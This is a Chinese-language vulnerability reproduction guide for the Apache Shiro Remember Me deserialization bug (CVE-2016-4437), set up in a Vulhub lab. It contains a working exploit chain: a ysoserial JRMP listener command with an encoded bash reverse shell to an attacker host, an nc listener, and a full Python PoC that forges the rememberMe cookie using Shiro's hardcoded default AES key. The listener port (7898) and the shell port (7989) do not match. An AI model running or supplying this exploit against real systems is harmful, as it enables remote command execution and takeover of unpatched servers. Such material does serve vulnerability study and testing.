Apache Shiro Remember Me 反序列化漏洞 CVE-2016-4437 Shiro-550 漏洞复现
一、 漏洞描述
Apache Shiro 框架提供了记住用户功能,即 Remember Me 功能,用户登录成功后会生成经过加密编码的 Cookie。Cookie 的键为rememberMe
,值是经过对相关信息进行反序列化后,使用 AES 加密,最后使用 Base64 编码处理。
服务器端 Cookie 处理流程:
- 检索 Cookie 中
rememberMe
的值; - Base64 解码;
- AES 解密(加密密钥硬编码)
- 反序列化操作(未做过滤处理)
Shiro 默认使用了 CookieRememberMeManager,加密的用户信息序列化后存储在名为rememberMe
的Cookie 中。攻击者可以使用 Shiro 的默认密钥伪造用户 Cookie ,触发 Java 反序列化漏洞,进而在目标机器上执行任意命令。
二、漏洞影响
Apache Shiro <= 1.2.4
三、漏洞复现
1、 环境搭建
使用 Vulhub 在服务器上搭建
cd /vulhub/shiro/CVE-2016-4437
docker-compose up -d
访问127.0.0.1:8080
,进入到登录页面:
2、 漏洞复现
第一步:判断是否存在漏洞:
随意输入用户名及密码,并且勾选Remember me
选项:
使用 BurpSuite 抓取数据包后,使用 Repeater 模块发送数据包:
其相应包Set-Cookie
头信息中存在rememberMe=deleteMe;
,判断其使用了CookieRememberMeManager。
第二步:漏洞利用
- 对反弹shell代码进行加密:
在线工具
- 在攻击机中使用ysoseria中的 JRMP 监听模块,监听
10099
端口:
java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 10099 CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzc5ODkgMD4mMQ==}|{base64,-d}|{bash,-i}'
- 在攻击机另一个终端中检测反弹shell的端口
7898
:
nc -lvnp 7898
- 攻击机中生成Cookie:
使用poc.py
生成rememberMe
的值:
# IP 替换为攻击机地址,端口为 JRMP 监听端口,可自由替换
python3 poc.py 1.1.1.1:10099
- 得到生成的值,替换抓取到的数据包中的 Cookie :
- 发送数据包,在 JRMP 监听中得到回显:
- 成功在
7989
端口获取目标 shell:
四、漏洞POC
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.8-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print("rememberMe={0}".format(payload.decode()))
五、参考链接
https://www.freebuf.com/vuls/178014.html